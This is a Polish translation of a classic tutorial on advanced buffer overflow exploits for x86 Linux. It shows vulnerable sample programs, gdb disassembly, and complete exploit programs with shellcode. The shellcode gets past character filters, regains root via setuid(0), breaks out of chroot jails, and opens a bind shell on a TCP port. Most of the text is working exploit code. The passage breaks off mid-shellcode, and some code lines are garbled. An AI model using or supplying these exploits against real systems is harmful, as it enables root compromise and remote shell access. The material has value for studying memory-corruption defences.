XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Zaawansowane przepelnienia bufora XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX by Taeho Oh ( ohhara@postech.edu ) Tlumaczenie: MixMan ---------------------------------------------------------------------------- Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug ---------------------------------------------------------------------------- 1. Wprowadzenie Obecnie istnieje wiele kodow sluzacych do przepelnienia bufora. Wczesne kody przepelnienia bufora uruchamialy tylko powloke ( wykonywaly /bin/sh ). Jednakze dzisiejsze kody maja bardzo ladne wlasciwosci. Dla przykladu, przechodzenie przez filtrowanie, otwieranie gniazda, wylamywanie sie z chroot, i tak dalej. Ten dokument bedzie sie staral wytlumaczyc zaawansowane przepelnienia bufora pod architektura x86 systemu Linux. 2. Co musisz wiedziec nim zaczniesz czytac ? Musisz znac jezyki programowania takie jak asembler, C, a takze miec znajomosc systemu Linux. Oczywiscie musisz takze wiedziec czym sa przepelnienia bufora. Te informacje mozesz znalezc w "Phrack" 49-14 ('Smashing The Stack For Fun And Profit ' (Jak przepelnic bufor dla zysku i zabawy) by Aleph1). To wspanialy dokument nt. przepelnienia bufora i szczerze zalecam go przeczytac zanim zabierzesz sie do tego tesktu. 3. Przechodzenie przez filtry Istnieje wiele programow ktore zawieraja przepelnienia bufora. Dlaczego nie mozna ich wszystkich wykorzystac ? Poniewaz nawet jesli program posiada taki blad, wykorzystanie go moze byc trudne. W wielu przypadkach powod jest taki iz program filtruje lub konwertuje pewne znaki. Jesli program filtruje wszystkie nie-drukowalne znaki, jest zbyt trudny do wykorzystania. Jesli natomiast program filtruje tylko niektore znaki, mozesz przejsc przez filtr tworzac porzadny (skomplikowany) kod przepelnienia bufora. :) 3.1 Przykladowy podatny program vulnerable1.c ---------------------------------------------------------------------------- #include #include int main(int argc,int **argv) { char buffer[1024]; int i; if(argc>1) { for(i=0;i #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\xeb\x38" /* jmp 0x38 */ "\x5e" /* popl %esi */ "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */ "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */ "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */ "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */ "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x08" /* addl $0x8,%eax */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xc3\xff\xff\xff" /* call -0x3d */ "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i #include int main(int argc,char **argv) { char buffer[1024]; seteuid(getuid()); if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------- Ten podatny program wywoluje seteuid(getuid()) na poczatku. Dlatego moznaby sadzic iz "strcpy(buffer,argv[1]);" jest niegrozne, poniewaz mozna uzyskac tylko wlasna powloke nawet jesli atak sie powiedzie. Jednakze jesli wstawimy do shellcode kod ktory wywoluje setuid(0), mozemy otrzymac root shell. :) 4.2 Stworz kod setuid(0) setuidasm.c ---------------------------------------------------------------------------- main() { setuid(0); } ---------------------------------------------------------------------------- skompiluj i odpal gdb ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c [ ohhara@ohhara ~ ] {2} $ gdb setuidasm GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble setuid Dump of assembler code for function __setuid: 0x804ca00 <__setuid>: movl %ebx,%edx 0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx 0x804ca06 <__setuid+6>: movl $0x17,%eax 0x804ca0b <__setuid+11>: int $0x80 0x804ca0d <__setuid+13>: movl %edx,%ebx 0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax 0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error> 0x804ca1a <__setuid+26>: ret 0x804ca1b <__setuid+27>: nop 0x804ca1c <__setuid+28>: nop 0x804ca1d <__setuid+29>: nop 0x804ca1e <__setuid+30>: nop 0x804ca1f <__setuid+31>: nop End of assembler dump. (gdb) ---------------------------------------------------------------------------- setuid(0); kod ---------------------------------------------------------------------------- char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- 4.3 Zmodyfikuj zwykly shellcode Stworzenie nowego shellcode jest bardzo latwe jesli chcemy tylko dodac odwolanie do setuid(0). Po prostu wstaw kod na poczatek shellcode. nowy shellcode ---------------------------------------------------------------------------- char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ ---------------------------------------------------------------------------- 4.4 Wykorzystaj program vulnerable2 Z tym kodem mozesz bez problemow stworzyc exploit. exploit2.c ---------------------------------------------------------------------------- #include #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i #include int main(int argc,char **argv) { char buffer[1024]; chroot("/home/ftp"); chdir("/"); if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------- Jesli sprobujesz przepelnic bufor w tym programie i sie to uda to mimo wszystko nie bedziesz mogl wyjsc poza katalog "/home/ftp". 5.2 Stworz kod do wylamywania sie z chroot Jesli mozesz wykonac ponizszy kod, mozesz wylamac sie z chroot. breakchrootasm.c ---------------------------------------------------------------------------- main() { mkdir("sh",0755); chroot("sh"); /* many "../" */ chroot("../../../../../../../../../../../../../../../../"); } ---------------------------------------------------------------------------- Ten kod wylamujacy sie z klatki chroot tworzy katalog "sh", poniewaz latwo sie do niego odwolywac. ( jest takze uzywany do odpalenia "/bin/sh" ) skompiluj i odpal gdb ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c [ ohhara@ohhara ~ ] {2} $ gdb breakchrootasm GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble mkdir Dump of assembler code for function __mkdir: 0x804cac0 <__mkdir>: movl %ebx,%edx 0x804cac2 <__mkdir+2>: movl 0x8(%esp,1),%ecx 0x804cac6 <__mkdir+6>: movl 0x4(%esp,1),%ebx 0x804caca <__mkdir+10>: movl $0x27,%eax 0x804cacf <__mkdir+15>: int $0x80 0x804cad1 <__mkdir+17>: movl %edx,%ebx 0x804cad3 <__mkdir+19>: cmpl $0xfffff001,%eax 0x804cad8 <__mkdir+24>: jae 0x804cc40 <__syscall_error> 0x804cade <__mkdir+30>: ret 0x804cadf <__mkdir+31>: nop End of assembler dump. (gdb) disassemble chroot Dump of assembler code for function chroot: 0x804cb60 : movl %ebx,%edx 0x804cb62 : movl 0x4(%esp,1),%ebx 0x804cb66 : movl $0x3d,%eax 0x804cb6b : int $0x80 0x804cb6d : movl %edx,%ebx 0x804cb6f : cmpl $0xfffff001,%eax 0x804cb74 : jae 0x804cc40 <__syscall_error> 0x804cb7a : ret 0x804cb7b : nop 0x804cb7c : nop 0x804cb7d : nop 0x804cb7e : nop 0x804cb7f : nop End of assembler dump. (gdb) ---------------------------------------------------------------------------- mkdir("sh",0755); kod ---------------------------------------------------------------------------- /* Pierwszym argumentem mkdir jest rejestr %ebx a drugim */ /* rejestr %ecx */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb0\x17" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ /* %esi musi wskazywac na ciag "/bin/sh" zanim ta */ /* instrukcja zostanie uzyta. Instrukcja laduje adres */ /* "sh" do %ebx. */ "\xfe\xc5" /* incb %ch */ /* %cx = 0000 0001 0000 0000 */ "\xb0\x3d" /* movb $0xed,%cl */ /* %cx = 0000 0001 1110 1101 */ /* %cx = 000 111 101 101 */ /* %cx = 0 7 5 5 */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- chroot("sh"); kod ---------------------------------------------------------------------------- /* argumentem chroot jest rejestr ebx */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- chroot("../../../../../../../../../../../../../../../../"); kod ---------------------------------------------------------------------------- char code[]= "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ /* zamaskowany ciag "../.." */ "\xf7\xdb" /* negl %ebx */ /* %ebx = $0x002f2e2e */ /* little endian na procesorach x86 Intela. */ /* %ebx = "../" */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ /* przygotowania do 16-krotnej petli. */ "\x56" /* pushl %esi */ /* zachowujemy aktualny %esi. %esi zawiera wskaznik do */ /* ciagu "/bin/sh". */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl $0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ /* tworzymy ciag "../../../ . . ." pod adresem 0x10(%esi)*/ /* dzieki petli. "\x5e" /* popl %esi */ /* odtwarzamy %esi. */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ /* %ebx zawiera adres ciagu "../../../../ . . . " */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- 5.3 Zmodyfikuj zwykly shellcode Tworzenie nowego shellcode jest proste jesli chcemy wylamac sie z klatki chroot. Po prostu wstaw kod na poczatek shellcode i odpowiednio zmien offsety w instrukcjach JMP i CALL. nowy shellcode ---------------------------------------------------------------------------- char shellcode[]= "\xeb\x4f" /* jmp 0x4f */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x5e" /* popl %esi */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\xb0\x27" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xfe\xc5" /* incb %ch */ "\xb1\xed" /* movb $0xed,%cl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ "\xf7\xdb" /* negl %ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ "\x56" /* pushl %esi */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl %0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ "\x5e" /* popl %esi */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\xe8\xac\xff\xff\xff" /* call -0x54 */ "/bin/sh"; /* .string \"/bin/sh\" */ ---------------------------------------------------------------------------- 5.4 Wykorzystaj podatny program vulnerable3 Z tym kodem mozesz bez problemow stworzyc exploit. exploit3.c ---------------------------------------------------------------------------- #include #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\xeb\x4f" /* jmp 0x4f */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x5e" /* popl %esi */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\xb0\x27" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xfe\xc5" /* incb %ch */ "\xb1\xed" /* movb $0xed,%cl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ "\xf7\xdb" /* negl %ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ "\x56" /* pushl %esi */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl %0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ "\x5e" /* popl %esi */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\xe8\xac\xff\xff\xff" /* call -0x54 */ "/bin/sh"; /* .string \"/bin/sh\" */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i int main(int argc,char **argv) { char buffer[1024]; if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------- To jest standartowy, podatny program. Uzyje go do zademonstrowania przepelnien bufora dzialajacych na gniazdach, bo sam jestem zbyt leniwy aby napisac przykladowego demona. :) Jednakze kiedy zobaczysz kod, nie bedziesz zawiedziony. 6.2 Stworz kod otwierajacy gniazdo Jesli mozesz wykonac ponizszy kod, mozesz otworzyc gniazdo. opensocketasm1.c ---------------------------------------------------------------------------- #include #include #include int soc,cli,soc_len; struct sockaddr_in serv_addr; struct sockaddr_in cli_addr; int main() { if(fork()==0) { serv_addr.sin_family=AF_INET; serv_addr.sin_addr.s_addr=htonl(INADDR_ANY); serv_addr.sin_port=htons(30464); soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr)); listen(soc,1); soc_len=sizeof(cli_addr); cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl("/bin/sh","sh",0); } } ---------------------------------------------------------------------------- Jest to trudne do przetlumaczenia na asembler. Mozemy to jednak troche uproscic. opensocketasm2.c ---------------------------------------------------------------------------- #include #include #include int soc,cli; struct sockaddr_in serv_addr; int main() { if(fork()==0) { serv_addr.sin_family=2; serv_addr.sin_addr.s_addr=0; serv_addr.sin_port=0x77; soc=socket(2,1,6); bind(soc,(struct sockaddr *)&serv_addr,0x10); listen(soc,1); cli=accept(soc,0,0); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl("/bin/sh","sh",0); } } ---------------------------------------------------------------------------- skompiluj i odpal gdb ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c [ ohhara@ohhara ~ ] {2} $ gdb opensocketasm2 GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble fork Dump of assembler code for function fork: 0x804ca90 : movl $0x2,%eax 0x804ca95 : int $0x80 0x804ca97 : cmpl $0xfffff001,%eax 0x804ca9c : jae 0x804cdc0 <__syscall_error> 0x804caa2 : ret 0x804caa3 : nop 0x804caa4 : nop 0x804caa5 : nop 0x804caa6 : nop 0x804caa7 : nop 0x804caa8 : nop 0x804caa9 : nop 0x804caaa : nop 0x804caab : nop 0x804caac : nop 0x804caad : nop 0x804caae : nop 0x804caaf : nop End of assembler dump. (gdb) disassemble socket Dump of assembler code for function socket: 0x804cda0 : movl %ebx,%edx 0x804cda2 : movl $0x66,%eax 0x804cda7 : movl $0x1,%ebx 0x804cdac : leal 0x4(%esp,1),%ecx 0x804cdb0 : int $0x80 0x804cdb2 : movl %edx,%ebx 0x804cdb4 : cmpl $0xffffff83,%eax 0x804cdb7 : jae 0x804cdc0 <__syscall_error> 0x804cdbd : ret 0x804cdbe : nop 0x804cdbf : nop End of assembler dump. (gdb) disassemble bind Dump of assembler code for function bind: 0x804cd60 : movl %ebx,%edx 0x804cd62 : movl $0x66,%eax 0x804cd67 : movl $0x2,%ebx 0x804cd6c : leal 0x4(%esp,1),%ecx 0x804cd70 : int $0x80 0x804cd72 : movl %edx,%ebx 0x804cd74 : cmpl $0xffffff83,%eax 0x804cd77 : jae 0x804cdc0 <__syscall_error> 0x804cd7d : ret 0x804cd7e : nop 0x804cd7f : nop End of assembler dump. (gdb) disassemble listen Dump of assembler code for function listen: 0x804cd80 : movl %ebx,%edx 0x804cd82 : movl $0x66,%eax 0x804cd87 : movl $0x4,%ebx 0x804cd8c : leal 0x4(%esp,1),%ecx 0x804cd90 : int $0x80 0x804cd92 : movl %edx,%ebx 0x804cd94 : cmpl $0xffffff83,%eax 0x804cd97 : jae 0x804cdc0 <__syscall_error> 0x804cd9d : ret 0x804cd9e : nop 0x804cd9f : nop End of assembler dump. (gdb) disassemble accept Dump of assembler code for function __accept: 0x804cd40 <__accept>: movl %ebx,%edx 0x804cd42 <__accept+2>: movl $0x66,%eax 0x804cd47 <__accept+7>: movl $0x5,%ebx 0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx 0x804cd50 <__accept+16>: int $0x80 0x804cd52 <__accept+18>: movl %edx,%ebx 0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax 0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error> 0x804cd5d <__accept+29>: ret 0x804cd5e <__accept+30>: nop 0x804cd5f <__accept+31>: nop End of assembler dump. (gdb) disassemble dup2 Dump of assembler code for function dup2: 0x804cbe0 : movl %ebx,%edx 0x804cbe2 : movl 0x8(%esp,1),%ecx 0x804cbe6 : movl 0x4(%esp,1),%ebx 0x804cbea : movl $0x3f,%eax 0x804cbef : int $0x80 0x804cbf1 : movl %edx,%ebx 0x804cbf3 : cmpl $0xfffff001,%eax 0x804cbf8 : jae 0x804cdc0 <__syscall_error> 0x804cbfe : ret 0x804cbff : nop End of assembler dump. (gdb) ---------------------------------------------------------------------------- fork(); kod ---------------------------------------------------------------------------- char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- socket(2,1,6); kod ---------------------------------------------------------------------------- /* %ecx to wskaznik na wszystkie argumenty */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ /* Pierwszy argument. */ /* %esi wskazuje na wolna pamiec przed uzyciem tej */ /* instrukcji. */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* Drugi argument */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* Trzeci argument */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- bind(soc,(struct sockaddr *)&serv_addr,0x10); kod ---------------------------------------------------------------------------- /* %ecx to wskaznik na wszystkie argumenty */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax musi miec wartosc soc przed uzyciem tej */ /* instrukcji . */ /* Pierwszy argument */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ /* serv_addr.sin_family=2 */ /* 2 jest zapisywane pod adresem 0xc(%esi). */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ /* numer portu jest pod adresem 0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ /* %eax = adres serv_addr */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* Drugi argument */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ /* serv_addr.sin_addr.s_addr=0 */ /* 0 jest zapisywane pod adresem at 0x10(%esi). */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* Trzeci argument */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- listen(soc,1); kod ---------------------------------------------------------------------------- /* %ecx to wskaznik na wszystkie argumenty */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax musi miec wartosc soc przed uzyciem tej */ /* instrukcji . */ /* Pierwszy argument */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* Drugi argument */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- accept(soc,0,0); kod ---------------------------------------------------------------------------- /* %ecx to wskaznik na wszystkie argumenty */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\xf1" /* movl %eax,(%esi) */ /* %eax musi miec wartosc soc przed uzyciem tej */ /* instrukcji . */ /* Pierwszy argument */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* Drugi argument */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* Trzeci argument */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- dup2(cli,0); kod ---------------------------------------------------------------------------- /* pierwszy argument to %ebx a drugi to %ecx */ char code[]= /* %eax musi zawierac wartosc cli przed uzyciem tej */ /* instrukcji. */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- 6.3 Zmodyfikuj zwykly shellcode Musisz w to wlozyc troche pracy aby powstal wlasciwy kod. nowy shellcode ---------------------------------------------------------------------------- char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ /* przypadek jesli fork()!=0 */ /* wywolany zostanie exit(0) */ /* Aby to osiagnac skoczymy dwa razy poniewaz exit jest */ /* dosyc daleko. */ "\xeb\x43" /* jmp 0x43 */ /* przypadek jesli fork()==0 */ /* W tym przypadku skoczymy do call -0xa5 */ /* Aby to osiagnac skoczymy dwa razy poniewaz instrukcja */ /* call -0xa5 jest dosyc daleko. */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ 